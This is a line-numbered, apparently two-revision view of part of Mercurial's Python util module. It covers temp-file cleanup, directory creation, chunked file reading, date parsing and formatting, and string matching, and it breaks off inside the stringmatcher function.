1692 def discard(self):
1690 if not self._fp.closed:
1693 if not self._fp.closed:
1691 try:
1694 try:
1692 os.unlink(self._tempname)
1695 os.unlink(self._tempname)
1693 except OSError:
1696 except OSError:
1694 pass
1697 pass
1695 self._fp.close()
1698 self._fp.close()
1696
1699
1697 def __del__(self):
1700 def __del__(self):
1698 if safehasattr(self, '_fp'): # constructor actually did something
1701 if safehasattr(self, '_fp'): # constructor actually did something
1699 self.discard()
1702 self.discard()
1700
1703
1701 def __enter__(self):
1704 def __enter__(self):
1702 return self
1705 return self
1703
1706
1704 def __exit__(self, exctype, excvalue, traceback):
1707 def __exit__(self, exctype, excvalue, traceback):
1705 if exctype is not None:
1708 if exctype is not None:
1706 self.discard()
1709 self.discard()
1707 else:
1710 else:
1708 self.close()
1711 self.close()
1709
1712
1710 def unlinkpath(f, ignoremissing=False):
1713 def unlinkpath(f, ignoremissing=False):
1711 """unlink and remove the directory if it is empty"""
1714 """unlink and remove the directory if it is empty"""
1712 if ignoremissing:
1715 if ignoremissing:
1713 tryunlink(f)
1716 tryunlink(f)
1714 else:
1717 else:
1715 unlink(f)
1718 unlink(f)
1716 # try removing directories that might now be empty
1719 # try removing directories that might now be empty
1717 try:
1720 try:
1718 removedirs(os.path.dirname(f))
1721 removedirs(os.path.dirname(f))
1719 except OSError:
1722 except OSError:
1720 pass
1723 pass
1721
1724
1722 def tryunlink(f):
1725 def tryunlink(f):
1723 """Attempt to remove a file, ignoring ENOENT errors."""
1726 """Attempt to remove a file, ignoring ENOENT errors."""
1724 try:
1727 try:
1725 unlink(f)
1728 unlink(f)
1726 except OSError as e:
1729 except OSError as e:
1727 if e.errno != errno.ENOENT:
1730 if e.errno != errno.ENOENT:
1728 raise
1731 raise
1729
1732
1730 def makedirs(name, mode=None, notindexed=False):
1733 def makedirs(name, mode=None, notindexed=False):
1731 """recursive directory creation with parent mode inheritance
1734 """recursive directory creation with parent mode inheritance
1732
1735
1733 Newly created directories are marked as "not to be indexed by
1736 Newly created directories are marked as "not to be indexed by
1734 the content indexing service", if ``notindexed`` is specified
1737 the content indexing service", if ``notindexed`` is specified
1735 for "write" mode access.
1738 for "write" mode access.
1736 """
1739 """
1737 try:
1740 try:
1738 makedir(name, notindexed)
1741 makedir(name, notindexed)
1739 except OSError as err:
1742 except OSError as err:
1740 if err.errno == errno.EEXIST:
1743 if err.errno == errno.EEXIST:
1741 return
1744 return
1742 if err.errno != errno.ENOENT or not name:
1745 if err.errno != errno.ENOENT or not name:
1743 raise
1746 raise
1744 parent = os.path.dirname(os.path.abspath(name))
1747 parent = os.path.dirname(os.path.abspath(name))
1745 if parent == name:
1748 if parent == name:
1746 raise
1749 raise
1747 makedirs(parent, mode, notindexed)
1750 makedirs(parent, mode, notindexed)
1748 try:
1751 try:
1749 makedir(name, notindexed)
1752 makedir(name, notindexed)
1750 except OSError as err:
1753 except OSError as err:
1751 # Catch EEXIST to handle races
1754 # Catch EEXIST to handle races
1752 if err.errno == errno.EEXIST:
1755 if err.errno == errno.EEXIST:
1753 return
1756 return
1754 raise
1757 raise
1755 if mode is not None:
1758 if mode is not None:
1756 os.chmod(name, mode)
1759 os.chmod(name, mode)
1757
1760
1758 def readfile(path):
1761 def readfile(path):
1759 with open(path, 'rb') as fp:
1762 with open(path, 'rb') as fp:
1760 return fp.read()
1763 return fp.read()
1761
1764
1762 def writefile(path, text):
1765 def writefile(path, text):
1763 with open(path, 'wb') as fp:
1766 with open(path, 'wb') as fp:
1764 fp.write(text)
1767 fp.write(text)
1765
1768
1766 def appendfile(path, text):
1769 def appendfile(path, text):
1767 with open(path, 'ab') as fp:
1770 with open(path, 'ab') as fp:
1768 fp.write(text)
1771 fp.write(text)
1769
1772
1770 class chunkbuffer(object):
1773 class chunkbuffer(object):
1771 """Allow arbitrary sized chunks of data to be efficiently read from an
1774 """Allow arbitrary sized chunks of data to be efficiently read from an
1772 iterator over chunks of arbitrary size."""
1775 iterator over chunks of arbitrary size."""
1773
1776
1774 def __init__(self, in_iter):
1777 def __init__(self, in_iter):
1775 """in_iter is the iterator that's iterating over the input chunks."""
1778 """in_iter is the iterator that's iterating over the input chunks."""
1776 def splitbig(chunks):
1779 def splitbig(chunks):
1777 for chunk in chunks:
1780 for chunk in chunks:
1778 if len(chunk) > 2**20:
1781 if len(chunk) > 2**20:
1779 pos = 0
1782 pos = 0
1780 while pos < len(chunk):
1783 while pos < len(chunk):
1781 end = pos + 2 ** 18
1784 end = pos + 2 ** 18
1782 yield chunk[pos:end]
1785 yield chunk[pos:end]
1783 pos = end
1786 pos = end
1784 else:
1787 else:
1785 yield chunk
1788 yield chunk
1786 self.iter = splitbig(in_iter)
1789 self.iter = splitbig(in_iter)
1787 self._queue = collections.deque()
1790 self._queue = collections.deque()
1788 self._chunkoffset = 0
1791 self._chunkoffset = 0
1789
1792
1790 def read(self, l=None):
1793 def read(self, l=None):
1791 """Read L bytes of data from the iterator of chunks of data.
1794 """Read L bytes of data from the iterator of chunks of data.
1792 Returns less than L bytes if the iterator runs dry.
1795 Returns less than L bytes if the iterator runs dry.
1793
1796
1794 If size parameter is omitted, read everything"""
1797 If size parameter is omitted, read everything"""
1795 if l is None:
1798 if l is None:
1796 return ''.join(self.iter)
1799 return ''.join(self.iter)
1797
1800
1798 left = l
1801 left = l
1799 buf = []
1802 buf = []
1800 queue = self._queue
1803 queue = self._queue
1801 while left > 0:
1804 while left > 0:
1802 # refill the queue
1805 # refill the queue
1803 if not queue:
1806 if not queue:
1804 target = 2**18
1807 target = 2**18
1805 for chunk in self.iter:
1808 for chunk in self.iter:
1806 queue.append(chunk)
1809 queue.append(chunk)
1807 target -= len(chunk)
1810 target -= len(chunk)
1808 if target <= 0:
1811 if target <= 0:
1809 break
1812 break
1810 if not queue:
1813 if not queue:
1811 break
1814 break
1812
1815
1813 # The easy way to do this would be to queue.popleft(), modify the
1816 # The easy way to do this would be to queue.popleft(), modify the
1814 # chunk (if necessary), then queue.appendleft(). However, for cases
1817 # chunk (if necessary), then queue.appendleft(). However, for cases
1815 # where we read partial chunk content, this incurs 2 dequeue
1818 # where we read partial chunk content, this incurs 2 dequeue
1816 # mutations and creates a new str for the remaining chunk in the
1819 # mutations and creates a new str for the remaining chunk in the
1817 # queue. Our code below avoids this overhead.
1820 # queue. Our code below avoids this overhead.
1818
1821
1819 chunk = queue[0]
1822 chunk = queue[0]
1820 chunkl = len(chunk)
1823 chunkl = len(chunk)
1821 offset = self._chunkoffset
1824 offset = self._chunkoffset
1822
1825
1823 # Use full chunk.
1826 # Use full chunk.
1824 if offset == 0 and left >= chunkl:
1827 if offset == 0 and left >= chunkl:
1825 left -= chunkl
1828 left -= chunkl
1826 queue.popleft()
1829 queue.popleft()
1827 buf.append(chunk)
1830 buf.append(chunk)
1828 # self._chunkoffset remains at 0.
1831 # self._chunkoffset remains at 0.
1829 continue
1832 continue
1830
1833
1831 chunkremaining = chunkl - offset
1834 chunkremaining = chunkl - offset
1832
1835
1833 # Use all of unconsumed part of chunk.
1836 # Use all of unconsumed part of chunk.
1834 if left >= chunkremaining:
1837 if left >= chunkremaining:
1835 left -= chunkremaining
1838 left -= chunkremaining
1836 queue.popleft()
1839 queue.popleft()
1837 # offset == 0 is enabled by block above, so this won't merely
1840 # offset == 0 is enabled by block above, so this won't merely
1838 # copy via ``chunk[0:]``.
1841 # copy via ``chunk[0:]``.
1839 buf.append(chunk[offset:])
1842 buf.append(chunk[offset:])
1840 self._chunkoffset = 0
1843 self._chunkoffset = 0
1841
1844
1842 # Partial chunk needed.
1845 # Partial chunk needed.
1843 else:
1846 else:
1844 buf.append(chunk[offset:offset + left])
1847 buf.append(chunk[offset:offset + left])
1845 self._chunkoffset += left
1848 self._chunkoffset += left
1846 left -= chunkremaining
1849 left -= chunkremaining
1847
1850
1848 return ''.join(buf)
1851 return ''.join(buf)
1849
1852
1850 def filechunkiter(f, size=131072, limit=None):
1853 def filechunkiter(f, size=131072, limit=None):
1851 """Create a generator that produces the data in the file size
1854 """Create a generator that produces the data in the file size
1852 (default 131072) bytes at a time, up to optional limit (default is
1855 (default 131072) bytes at a time, up to optional limit (default is
1853 to read all data). Chunks may be less than size bytes if the
1856 to read all data). Chunks may be less than size bytes if the
1854 chunk is the last chunk in the file, or the file is a socket or
1857 chunk is the last chunk in the file, or the file is a socket or
1855 some other type of file that sometimes reads less data than is
1858 some other type of file that sometimes reads less data than is
1856 requested."""
1859 requested."""
1857 assert size >= 0
1860 assert size >= 0
1858 assert limit is None or limit >= 0
1861 assert limit is None or limit >= 0
1859 while True:
1862 while True:
1860 if limit is None:
1863 if limit is None:
1861 nbytes = size
1864 nbytes = size
1862 else:
1865 else:
1863 nbytes = min(limit, size)
1866 nbytes = min(limit, size)
1864 s = nbytes and f.read(nbytes)
1867 s = nbytes and f.read(nbytes)
1865 if not s:
1868 if not s:
1866 break
1869 break
1867 if limit:
1870 if limit:
1868 limit -= len(s)
1871 limit -= len(s)
1869 yield s
1872 yield s
1870
1873
1871 def makedate(timestamp=None):
1874 def makedate(timestamp=None):
1872 '''Return a unix timestamp (or the current time) as a (unixtime,
1875 '''Return a unix timestamp (or the current time) as a (unixtime,
1873 offset) tuple based off the local timezone.'''
1876 offset) tuple based off the local timezone.'''
1874 if timestamp is None:
1877 if timestamp is None:
1875 timestamp = time.time()
1878 timestamp = time.time()
1876 if timestamp < 0:
1879 if timestamp < 0:
1877 hint = _("check your clock")
1880 hint = _("check your clock")
1878 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1881 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1879 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1882 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1880 datetime.datetime.fromtimestamp(timestamp))
1883 datetime.datetime.fromtimestamp(timestamp))
1881 tz = delta.days * 86400 + delta.seconds
1884 tz = delta.days * 86400 + delta.seconds
1882 return timestamp, tz
1885 return timestamp, tz
1883
1886
1884 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1887 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1885 """represent a (unixtime, offset) tuple as a localized time.
1888 """represent a (unixtime, offset) tuple as a localized time.
1886 unixtime is seconds since the epoch, and offset is the time zone's
1889 unixtime is seconds since the epoch, and offset is the time zone's
1887 number of seconds away from UTC.
1890 number of seconds away from UTC.
1888
1891
1889 >>> datestr((0, 0))
1892 >>> datestr((0, 0))
1890 'Thu Jan 01 00:00:00 1970 +0000'
1893 'Thu Jan 01 00:00:00 1970 +0000'
1891 >>> datestr((42, 0))
1894 >>> datestr((42, 0))
1892 'Thu Jan 01 00:00:42 1970 +0000'
1895 'Thu Jan 01 00:00:42 1970 +0000'
1893 >>> datestr((-42, 0))
1896 >>> datestr((-42, 0))
1894 'Wed Dec 31 23:59:18 1969 +0000'
1897 'Wed Dec 31 23:59:18 1969 +0000'
1895 >>> datestr((0x7fffffff, 0))
1898 >>> datestr((0x7fffffff, 0))
1896 'Tue Jan 19 03:14:07 2038 +0000'
1899 'Tue Jan 19 03:14:07 2038 +0000'
1897 >>> datestr((-0x80000000, 0))
1900 >>> datestr((-0x80000000, 0))
1898 'Fri Dec 13 20:45:52 1901 +0000'
1901 'Fri Dec 13 20:45:52 1901 +0000'
1899 """
1902 """
1900 t, tz = date or makedate()
1903 t, tz = date or makedate()
1901 if "%1" in format or "%2" in format or "%z" in format:
1904 if "%1" in format or "%2" in format or "%z" in format:
1902 sign = (tz > 0) and "-" or "+"
1905 sign = (tz > 0) and "-" or "+"
1903 minutes = abs(tz) // 60
1906 minutes = abs(tz) // 60
1904 q, r = divmod(minutes, 60)
1907 q, r = divmod(minutes, 60)
1905 format = format.replace("%z", "%1%2")
1908 format = format.replace("%z", "%1%2")
1906 format = format.replace("%1", "%c%02d" % (sign, q))
1909 format = format.replace("%1", "%c%02d" % (sign, q))
1907 format = format.replace("%2", "%02d" % r)
1910 format = format.replace("%2", "%02d" % r)
1908 d = t - tz
1911 d = t - tz
1909 if d > 0x7fffffff:
1912 if d > 0x7fffffff:
1910 d = 0x7fffffff
1913 d = 0x7fffffff
1911 elif d < -0x80000000:
1914 elif d < -0x80000000:
1912 d = -0x80000000
1915 d = -0x80000000
1913 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1916 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1914 # because they use the gmtime() system call which is buggy on Windows
1917 # because they use the gmtime() system call which is buggy on Windows
1915 # for negative values.
1918 # for negative values.
1916 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1919 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1917 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1920 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1918 return s
1921 return s
1919
1922
1920 def shortdate(date=None):
1923 def shortdate(date=None):
1921 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1924 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1922 return datestr(date, format='%Y-%m-%d')
1925 return datestr(date, format='%Y-%m-%d')
1923
1926
1924 def parsetimezone(s):
1927 def parsetimezone(s):
1925 """find a trailing timezone, if any, in string, and return a
1928 """find a trailing timezone, if any, in string, and return a
1926 (offset, remainder) pair"""
1929 (offset, remainder) pair"""
1927
1930
1928 if s.endswith("GMT") or s.endswith("UTC"):
1931 if s.endswith("GMT") or s.endswith("UTC"):
1929 return 0, s[:-3].rstrip()
1932 return 0, s[:-3].rstrip()
1930
1933
1931 # Unix-style timezones [+-]hhmm
1934 # Unix-style timezones [+-]hhmm
1932 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1935 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1933 sign = (s[-5] == "+") and 1 or -1
1936 sign = (s[-5] == "+") and 1 or -1
1934 hours = int(s[-4:-2])
1937 hours = int(s[-4:-2])
1935 minutes = int(s[-2:])
1938 minutes = int(s[-2:])
1936 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1939 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1937
1940
1938 # ISO8601 trailing Z
1941 # ISO8601 trailing Z
1939 if s.endswith("Z") and s[-2:-1].isdigit():
1942 if s.endswith("Z") and s[-2:-1].isdigit():
1940 return 0, s[:-1]
1943 return 0, s[:-1]
1941
1944
1942 # ISO8601-style [+-]hh:mm
1945 # ISO8601-style [+-]hh:mm
1943 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1946 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1944 s[-5:-3].isdigit() and s[-2:].isdigit()):
1947 s[-5:-3].isdigit() and s[-2:].isdigit()):
1945 sign = (s[-6] == "+") and 1 or -1
1948 sign = (s[-6] == "+") and 1 or -1
1946 hours = int(s[-5:-3])
1949 hours = int(s[-5:-3])
1947 minutes = int(s[-2:])
1950 minutes = int(s[-2:])
1948 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1951 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1949
1952
1950 return None, s
1953 return None, s
1951
1954
1952 def strdate(string, format, defaults=None):
1955 def strdate(string, format, defaults=None):
1953 """parse a localized time string and return a (unixtime, offset) tuple.
1956 """parse a localized time string and return a (unixtime, offset) tuple.
1954 if the string cannot be parsed, ValueError is raised."""
1957 if the string cannot be parsed, ValueError is raised."""
1955 if defaults is None:
1958 if defaults is None:
1956 defaults = {}
1959 defaults = {}
1957
1960
1958 # NOTE: unixtime = localunixtime + offset
1961 # NOTE: unixtime = localunixtime + offset
1959 offset, date = parsetimezone(string)
1962 offset, date = parsetimezone(string)
1960
1963
1961 # add missing elements from defaults
1964 # add missing elements from defaults
1962 usenow = False # default to using biased defaults
1965 usenow = False # default to using biased defaults
1963 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1966 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1964 part = pycompat.bytestr(part)
1967 part = pycompat.bytestr(part)
1965 found = [True for p in part if ("%"+p) in format]
1968 found = [True for p in part if ("%"+p) in format]
1966 if not found:
1969 if not found:
1967 date += "@" + defaults[part][usenow]
1970 date += "@" + defaults[part][usenow]
1968 format += "@%" + part[0]
1971 format += "@%" + part[0]
1969 else:
1972 else:
1970 # We've found a specific time element, less specific time
1973 # We've found a specific time element, less specific time
1971 # elements are relative to today
1974 # elements are relative to today
1972 usenow = True
1975 usenow = True
1973
1976
1974 timetuple = time.strptime(encoding.strfromlocal(date),
1977 timetuple = time.strptime(encoding.strfromlocal(date),
1975 encoding.strfromlocal(format))
1978 encoding.strfromlocal(format))
1976 localunixtime = int(calendar.timegm(timetuple))
1979 localunixtime = int(calendar.timegm(timetuple))
1977 if offset is None:
1980 if offset is None:
1978 # local timezone
1981 # local timezone
1979 unixtime = int(time.mktime(timetuple))
1982 unixtime = int(time.mktime(timetuple))
1980 offset = unixtime - localunixtime
1983 offset = unixtime - localunixtime
1981 else:
1984 else:
1982 unixtime = localunixtime + offset
1985 unixtime = localunixtime + offset
1983 return unixtime, offset
1986 return unixtime, offset
1984
1987
1985 def parsedate(date, formats=None, bias=None):
1988 def parsedate(date, formats=None, bias=None):
1986 """parse a localized date/time and return a (unixtime, offset) tuple.
1989 """parse a localized date/time and return a (unixtime, offset) tuple.
1987
1990
1988 The date may be a "unixtime offset" string or in one of the specified
1991 The date may be a "unixtime offset" string or in one of the specified
1989 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1992 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1990
1993
1991 >>> parsedate(' today ') == parsedate(\
1994 >>> parsedate(' today ') == parsedate(\
1992 datetime.date.today().strftime('%b %d'))
1995 datetime.date.today().strftime('%b %d'))
1993 True
1996 True
1994 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1997 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1995 datetime.timedelta(days=1)\
1998 datetime.timedelta(days=1)\
1996 ).strftime('%b %d'))
1999 ).strftime('%b %d'))
1997 True
2000 True
1998 >>> now, tz = makedate()
2001 >>> now, tz = makedate()
1999 >>> strnow, strtz = parsedate('now')
2002 >>> strnow, strtz = parsedate('now')
2000 >>> (strnow - now) < 1
2003 >>> (strnow - now) < 1
2001 True
2004 True
2002 >>> tz == strtz
2005 >>> tz == strtz
2003 True
2006 True
2004 """
2007 """
2005 if bias is None:
2008 if bias is None:
2006 bias = {}
2009 bias = {}
2007 if not date:
2010 if not date:
2008 return 0, 0
2011 return 0, 0
2009 if isinstance(date, tuple) and len(date) == 2:
2012 if isinstance(date, tuple) and len(date) == 2:
2010 return date
2013 return date
2011 if not formats:
2014 if not formats:
2012 formats = defaultdateformats
2015 formats = defaultdateformats
2013 date = date.strip()
2016 date = date.strip()
2014
2017
2015 if date == 'now' or date == _('now'):
2018 if date == 'now' or date == _('now'):
2016 return makedate()
2019 return makedate()
2017 if date == 'today' or date == _('today'):
2020 if date == 'today' or date == _('today'):
2018 date = datetime.date.today().strftime('%b %d')
2021 date = datetime.date.today().strftime('%b %d')
2019 elif date == 'yesterday' or date == _('yesterday'):
2022 elif date == 'yesterday' or date == _('yesterday'):
2020 date = (datetime.date.today() -
2023 date = (datetime.date.today() -
2021 datetime.timedelta(days=1)).strftime('%b %d')
2024 datetime.timedelta(days=1)).strftime('%b %d')
2022
2025
2023 try:
2026 try:
2024 when, offset = map(int, date.split(' '))
2027 when, offset = map(int, date.split(' '))
2025 except ValueError:
2028 except ValueError:
2026 # fill out defaults
2029 # fill out defaults
2027 now = makedate()
2030 now = makedate()
2028 defaults = {}
2031 defaults = {}
2029 for part in ("d", "mb", "yY", "HI", "M", "S"):
2032 for part in ("d", "mb", "yY", "HI", "M", "S"):
2030 # this piece is for rounding the specific end of unknowns
2033 # this piece is for rounding the specific end of unknowns
2031 b = bias.get(part)
2034 b = bias.get(part)
2032 if b is None:
2035 if b is None:
2033 if part[0:1] in "HMS":
2036 if part[0:1] in "HMS":
2034 b = "00"
2037 b = "00"
2035 else:
2038 else:
2036 b = "0"
2039 b = "0"
2037
2040
2038 # this piece is for matching the generic end to today's date
2041 # this piece is for matching the generic end to today's date
2039 n = datestr(now, "%" + part[0:1])
2042 n = datestr(now, "%" + part[0:1])
2040
2043
2041 defaults[part] = (b, n)
2044 defaults[part] = (b, n)
2042
2045
2043 for format in formats:
2046 for format in formats:
2044 try:
2047 try:
2045 when, offset = strdate(date, format, defaults)
2048 when, offset = strdate(date, format, defaults)
2046 except (ValueError, OverflowError):
2049 except (ValueError, OverflowError):
2047 pass
2050 pass
2048 else:
2051 else:
2049 break
2052 break
2050 else:
2053 else:
2051 raise error.ParseError(_('invalid date: %r') % date)
2054 raise error.ParseError(_('invalid date: %r') % date)
2052 # validate explicit (probably user-specified) date and
2055 # validate explicit (probably user-specified) date and
2053 # time zone offset. values must fit in signed 32 bits for
2056 # time zone offset. values must fit in signed 32 bits for
2054 # current 32-bit linux runtimes. timezones go from UTC-12
2057 # current 32-bit linux runtimes. timezones go from UTC-12
2055 # to UTC+14
2058 # to UTC+14
2056 if when < -0x80000000 or when > 0x7fffffff:
2059 if when < -0x80000000 or when > 0x7fffffff:
2057 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2060 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2058 if offset < -50400 or offset > 43200:
2061 if offset < -50400 or offset > 43200:
2059 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2062 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2060 return when, offset
2063 return when, offset
2061
2064
2062 def matchdate(date):
2065 def matchdate(date):
2063 """Return a function that matches a given date match specifier
2066 """Return a function that matches a given date match specifier
2064
2067
2065 Formats include:
2068 Formats include:
2066
2069
2067 '{date}' match a given date to the accuracy provided
2070 '{date}' match a given date to the accuracy provided
2068
2071
2069 '<{date}' on or before a given date
2072 '<{date}' on or before a given date
2070
2073
2071 '>{date}' on or after a given date
2074 '>{date}' on or after a given date
2072
2075
2073 >>> p1 = parsedate("10:29:59")
2076 >>> p1 = parsedate("10:29:59")
2074 >>> p2 = parsedate("10:30:00")
2077 >>> p2 = parsedate("10:30:00")
2075 >>> p3 = parsedate("10:30:59")
2078 >>> p3 = parsedate("10:30:59")
2076 >>> p4 = parsedate("10:31:00")
2079 >>> p4 = parsedate("10:31:00")
2077 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2080 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2078 >>> f = matchdate("10:30")
2081 >>> f = matchdate("10:30")
2079 >>> f(p1[0])
2082 >>> f(p1[0])
2080 False
2083 False
2081 >>> f(p2[0])
2084 >>> f(p2[0])
2082 True
2085 True
2083 >>> f(p3[0])
2086 >>> f(p3[0])
2084 True
2087 True
2085 >>> f(p4[0])
2088 >>> f(p4[0])
2086 False
2089 False
2087 >>> f(p5[0])
2090 >>> f(p5[0])
2088 False
2091 False
2089 """
2092 """
2090
2093
2091 def lower(date):
2094 def lower(date):
2092 d = {'mb': "1", 'd': "1"}
2095 d = {'mb': "1", 'd': "1"}
2093 return parsedate(date, extendeddateformats, d)[0]
2096 return parsedate(date, extendeddateformats, d)[0]
2094
2097
2095 def upper(date):
2098 def upper(date):
2096 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2099 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2097 for days in ("31", "30", "29"):
2100 for days in ("31", "30", "29"):
2098 try:
2101 try:
2099 d["d"] = days
2102 d["d"] = days
2100 return parsedate(date, extendeddateformats, d)[0]
2103 return parsedate(date, extendeddateformats, d)[0]
2101 except Abort:
2104 except Abort:
2102 pass
2105 pass
2103 d["d"] = "28"
2106 d["d"] = "28"
2104 return parsedate(date, extendeddateformats, d)[0]
2107 return parsedate(date, extendeddateformats, d)[0]
2105
2108
2106 date = date.strip()
2109 date = date.strip()
2107
2110
2108 if not date:
2111 if not date:
2109 raise Abort(_("dates cannot consist entirely of whitespace"))
2112 raise Abort(_("dates cannot consist entirely of whitespace"))
2110 elif date[0] == "<":
2113 elif date[0] == "<":
2111 if not date[1:]:
2114 if not date[1:]:
2112 raise Abort(_("invalid day spec, use '<DATE'"))
2115 raise Abort(_("invalid day spec, use '<DATE'"))
2113 when = upper(date[1:])
2116 when = upper(date[1:])
2114 return lambda x: x <= when
2117 return lambda x: x <= when
2115 elif date[0] == ">":
2118 elif date[0] == ">":
2116 if not date[1:]:
2119 if not date[1:]:
2117 raise Abort(_("invalid day spec, use '>DATE'"))
2120 raise Abort(_("invalid day spec, use '>DATE'"))
2118 when = lower(date[1:])
2121 when = lower(date[1:])
2119 return lambda x: x >= when
2122 return lambda x: x >= when
2120 elif date[0] == "-":
2123 elif date[0] == "-":
2121 try:
2124 try:
2122 days = int(date[1:])
2125 days = int(date[1:])
2123 except ValueError:
2126 except ValueError:
2124 raise Abort(_("invalid day spec: %s") % date[1:])
2127 raise Abort(_("invalid day spec: %s") % date[1:])
2125 if days < 0:
2128 if days < 0:
2126 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2129 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2127 % date[1:])
2130 % date[1:])
2128 when = makedate()[0] - days * 3600 * 24
2131 when = makedate()[0] - days * 3600 * 24
2129 return lambda x: x >= when
2132 return lambda x: x >= when
2130 elif " to " in date:
2133 elif " to " in date:
2131 a, b = date.split(" to ")
2134 a, b = date.split(" to ")
2132 start, stop = lower(a), upper(b)
2135 start, stop = lower(a), upper(b)
2133 return lambda x: x >= start and x <= stop
2136 return lambda x: x >= start and x <= stop
2134 else:
2137 else:
2135 start, stop = lower(date), upper(date)
2138 start, stop = lower(date), upper(date)
2136 return lambda x: x >= start and x <= stop
2139 return lambda x: x >= start and x <= stop
2137
2140
2138 def stringmatcher(pattern, casesensitive=True):
2141 def stringmatcher(pattern, casesensitive=True):
2139 """
2142 """
2140 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2143 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2141 returns the matcher name, pattern, and matcher function.
2144 returns the matcher name, pattern, and matcher function.
2142 missing or unknown prefixes are treated as literal matches.
2145 missing or unknown prefixes are treated as literal matches.
2143
2146
2144 helper for tests:
2147 helper for tests:
2145 >>> def test(pattern, *tests):
2148 >>> def test(pattern, *tests):
2146 ... kind, pattern, matcher = stringmatcher(pattern)
2149 ... kind, pattern, matcher = stringmatcher(pattern)
2147 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2150 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2148 >>> def itest(pattern, *tests):
2151 >>> def itest(pattern, *tests):
2149 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2152 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2150 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2153 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2151
2154
2152 exact matching (no prefix):
2155 exact matching (no prefix):
2153 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2156 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2154 ('literal', 'abcdefg', [False, False, True])
2157 ('literal', 'abcdefg', [False, False, True])
2155
2158
2156 regex matching ('re:' prefix)
2159 regex matching ('re:' prefix)
2157 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2160 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2158 ('re', 'a.+b', [False, False, True])
2161 ('re', 'a.+b', [False, False, True])
2159
2162
2160 force exact matches ('literal:' prefix)
2163 force exact matches ('literal:' prefix)
2161 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2164 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2162 ('literal', 're:foobar', [False, True])
2165 ('literal', 're:foobar', [False, True])
2163
2166
2164 unknown prefixes are ignored and treated as literals
2167 unknown prefixes are ignored and treated as literals
2165 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2168 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2166 ('literal', 'foo:bar', [False, False, True])
2169 ('literal', 'foo:bar', [False, False, True])
2167
2170
2168 case insensitive regex matches
2171 case insensitive regex matches
2169 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2172 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2170 ('re', 'A.+b', [False, False, True])
2173 ('re', 'A.+b', [False, False, True])
2171
2174
2172 case insensitive literal matches
2175 case insensitive literal matches
2173 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2176 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2174 ('literal', 'ABCDEFG', [False, False, True])
2177 ('literal', 'ABCDEFG', [False, False, True])
2175 """
2178 """
2176 if pattern.startswith('re:'):
2179 if pattern.startswith('re:'):
2177 pattern = pattern[3:]
2180 pattern = pattern[3:]
2178 try:
2181 try:
2179 flags = 0
2182 flags = 0
2180 if not casesensitive:
2183 if not casesensitive:
2181 flags = remod.I
2184 flags = remod.I
2182 regex = remod.compile(pattern, flags)
2185 regex = remod.compile(pattern, flags)
2183 except remod.error as e:
2186 except remod.error as e:
2184 raise error.ParseError(_('invalid regular expression: %s')
2187 raise error.ParseError(_('invalid regular expression: %s')
2185 % e)
2188 % e)
2186 return 're', pattern, regex.search
2189 return 're', pattern, regex.search
2187 elif pattern.startswith('literal:'):
2190 elif pattern.startswith('literal:'):
2188 pattern = pattern[8:]
2191 pattern = pattern[8:]
2189
2192
2190 match = pattern.__eq__
2193 match = pattern.__eq__
2191
2194
2192 if not casesensitive:
2195 if not casesensitive:
2193 ipat = encoding.lower(pattern)
